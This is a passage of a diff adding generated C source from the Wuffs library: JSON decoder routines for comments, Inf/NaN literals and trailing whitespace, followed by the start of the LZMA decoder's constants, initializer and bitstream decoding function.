(a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_comment; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ self->private_impl.f_comment_type = 0u; ++ while ((((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) || (((uint64_t)(io2_a_src - iop_a_src)) <= 1u)) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ continue; ++ } ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ } ++ v_c16 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); ++ if ((v_c16 == 10799u) && self->private_impl.f_quirks[11u]) { ++ iop_a_src += 2u; ++ v_length = 2u; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 1u) { ++ if (v_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ } ++ v_length = 0u; ++ continue; ++ } ++ v_c16 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); ++ if (v_c16 == 12074u) { ++ iop_a_src += 2u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)((v_length + 2u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ self->private_impl.f_comment_type = 1u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ iop_a_src += 1u; ++ if (v_length >= 65533u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)((v_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ } ++ v_length = 0u; ++ continue; ++ } ++ v_length += 1u; ++ } ++ } else if ((v_c16 == 12079u) && self->private_impl.f_quirks[12u]) { ++ iop_a_src += 2u; ++ v_length = 2u; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ self->private_impl.f_comment_type = 2u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } else if (v_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); ++ } ++ v_length = 0u; ++ continue; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (v_c8 == 10u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ self->private_impl.f_comment_type = 2u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ iop_a_src += 1u; ++ if (v_length >= 65533u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)((v_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); ++ } ++ v_length = 0u; ++ continue; ++ } ++ v_length += 1u; ++ } ++ } ++ ++ ok: ++ self->private_impl.p_decode_comment = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_comment = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func json.decoder.decode_inf_nan ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_inf_nan( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_c32 = 0; ++ uint32_t v_neg = 0; ++ ++ wuffs_base__token* iop_a_dst = NULL; ++ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_inf_nan; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ continue; ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 2u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ continue; ++ } ++ v_c32 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); ++ if ((v_c32 | 2105376u) == 6712937u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) > 7u) { ++ if ((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) | 2314885530818453536u) == 8751735898823356009u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(10485792u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(8u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 8u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ } else if ( ! (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ continue; ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(10485792u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 3u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } else if ((v_c32 | 2105376u) == 7233902u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(10485888u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 3u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } else if ((v_c32 & 255u) == 43u) { ++ v_neg = 0u; ++ } else if ((v_c32 & 255u) == 45u) { ++ v_neg = 1u; ++ } else { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 3u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ continue; ++ } ++ v_c32 = (wuffs_base__peek_u32le__no_bounds_check(iop_a_src) >> 8u); ++ if ((v_c32 | 2105376u) == 6712937u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) > 8u) { ++ if ((wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 1u) | 2314885530818453536u) == 8751735898823356009u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((10485760u | (((uint32_t)(32u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(9u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 9u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ } else if ( ! (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ continue; ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((10485760u | (((uint32_t)(32u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 4u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } else if ((v_c32 | 2105376u) == 7233902u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((10485760u | (((uint32_t)(128u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 4u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ ++ ok: ++ self->private_impl.p_decode_inf_nan = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_inf_nan = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func json.decoder.decode_trailer ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_trailer( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_whitespace_length = 0; ++ ++ wuffs_base__token* iop_a_dst = NULL; ++ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_trailer; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_quirks[18u]) { ++ self->private_impl.f_trailer_stop = 10u; ++ } else { ++ self->private_impl.f_trailer_stop = 0u; ++ } ++ label__outer__continue:; ++ while (true) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ continue; ++ } ++ v_whitespace_length = 0u; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (v_whitespace_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } ++ if (a_src && a_src->meta.closed) { ++ goto label__outer__break; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ goto label__outer__continue; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (WUFFS_JSON__LUT_CLASSES[v_c8] != 0u) { ++ if (v_whitespace_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } ++ if (self->private_impl.f_trailer_stop > 0u) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_json__decoder__decode_comment(self, a_dst, a_src); ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_comment_type > 0u) { ++ goto label__outer__continue; ++ } ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ iop_a_src += 1u; ++ if ((v_whitespace_length >= 65534u) || (v_c8 == self->private_impl.f_trailer_stop)) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)((v_whitespace_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (v_c8 == self->private_impl.f_trailer_stop) { ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ goto label__outer__continue; ++ } ++ v_whitespace_length += 1u; ++ } ++ } ++ label__outer__break:; ++ ++ ok: ++ self->private_impl.p_decode_trailer = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_trailer = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZMA) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_lzma__error__bad_lzma2_header[] = "#lzma: bad LZMA2 header"; ++const char wuffs_lzma__error__bad_bitstream_trailer[] = "#lzma: bad bitstream trailer"; ++const char wuffs_lzma__error__bad_code[] = "#lzma: bad code"; ++const char wuffs_lzma__error__bad_decoded_length[] = "#lzma: bad decoded length"; ++const char wuffs_lzma__error__bad_distance[] = "#lzma: bad distance"; ++const char wuffs_lzma__error__bad_header[] = "#lzma: bad header"; ++const char wuffs_lzma__error__truncated_input[] = "#lzma: truncated input"; ++const char wuffs_lzma__error__unsupported_decoded_length[] = "#lzma: unsupported decoded length"; ++const char wuffs_lzma__error__unsupported_properties[] = "#lzma: unsupported properties"; ++const char wuffs_lzma__error__internal_error_inconsistent_i_o[] = "#lzma: internal error: inconsistent I/O"; ++const char wuffs_lzma__error__internal_error_inconsistent_dictionary_state[] = "#lzma: internal error: inconsistent dictionary state"; ++ ++// ---------------- Private Consts ++ ++static const uint8_t ++WUFFS_LZMA__STATE_TRANSITION_LITERAL[12] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, 0u, 1u, 2u, 3u, 4u, ++ 5u, 6u, 4u, 5u, ++}; ++ ++static const uint8_t ++WUFFS_LZMA__STATE_TRANSITION_MATCH[12] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 7u, 7u, 7u, 7u, 7u, 7u, 7u, 10u, ++ 10u, 10u, 10u, 10u, ++}; ++ ++static const uint8_t ++WUFFS_LZMA__STATE_TRANSITION_LONGREP[12] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 8u, 8u, 8u, 8u, 8u, 8u, 8u, 11u, ++ 11u, 11u, 11u, 11u, ++}; ++ ++static const uint8_t ++WUFFS_LZMA__STATE_TRANSITION_SHORTREP[12] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 9u, 9u, 9u, 9u, 9u, 9u, 9u, 11u, ++ 11u, 11u, 11u, 11u, ++}; ++ ++static const uint8_t ++WUFFS_LZMA__CLAMP_NO_MORE_THAN_3[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 1u, 2u, 3u, 3u, 3u, 3u, 3u, ++}; ++ ++#define WUFFS_LZMA__QUIRKS_BASE 1348001792u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_bitstream_fast( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_bitstream_slow( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__add_history( ++ wuffs_lzma__decoder* self, ++ wuffs_base__slice_u8 a_hist, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__do_transform_io( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_bitstream( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__update_stashed_bytes( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_optional_end_of_stream( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_lzma__decoder__initialize_dict( ++ wuffs_lzma__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_lzma__decoder__initialize_probs( ++ wuffs_lzma__decoder* self); ++ ++// ---------------- VTables ++ ++const wuffs_base__io_transformer__func_ptrs ++wuffs_lzma__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_lzma__decoder__dst_history_retain_length), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_lzma__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_lzma__decoder__set_quirk), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_lzma__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_lzma__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_lzma__decoder__initialize( ++ wuffs_lzma__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = ++ wuffs_base__io_transformer__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = ++ (const void*)(&wuffs_lzma__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_lzma__decoder* ++wuffs_lzma__decoder__alloc(void) { ++ wuffs_lzma__decoder* x = ++ (wuffs_lzma__decoder*)(calloc(1, sizeof(wuffs_lzma__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_lzma__decoder__initialize( ++ x, sizeof(wuffs_lzma__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_lzma__decoder(void) { ++ return sizeof(wuffs_lzma__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func lzma.decoder.decode_bitstream_fast ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_bitstream_fast( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_bits = 0; ++ uint32_t v_range = 0; ++ uint32_t v_state = 0; ++ uint32_t v_rep0 = 0; ++ uint32_t v_rep1 = 0; ++ uint32_t v_rep2 = 0; ++ uint32_t v_rep3 = 0; ++ uint32_t v_reptmp = 0; ++ uint32_t v_rep = 0; ++ uint64_t v_pos = 0; ++ uint64_t v_pos_end = 0; ++ uint32_t v_lc = 0; ++ uint64_t v_lp_mask = 0; ++ uint64_t v_pb_mask = 0; ++ uint32_t v_prob = 0; ++ uint32_t v_threshold = 0; ++ uint32_t v_tree_node = 0; ++ uint8_t v_prev_byte = 0; ++ uint32_t v_match_byte = 0; ++ uint32_t v_match_cusp = 0; ++ uint32_t v_len_state = 0; ++ uint32_t v_slot = 0; ++ uint32_t v_len = 0; ++ uint32_t v_lanl_offset = 0; ++ uint32_t v_lanl_old_offset = 0; ++ uint32_t v_lanl_index = 0; ++ uint32_t v_num_extra_bits = 0; ++ uint32_t v_dist_extra_bits = 0; ++ uint32_t v_high_bit_was_on = 0; ++ uint32_t v_i = 0; ++ uint32_t v_index_ao00 = 0; ++ uint32_t v_index_ao41 = 0; ++ uint32_t v_index_lit = 0; ++ uint32_t v_index_len = 0; ++ uint32_t v_index_small_dist_base = 0; ++ uint32_t v_index_small_dist_extra = 0; ++ uint32_t v_index_small_dist = 0; ++ uint32_t v_index_large_dist = 0; ++ uint32_t v_dist = 0; ++ uint32_t v_adj_dist = 0; ++ uint64_t v_wb_index = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* 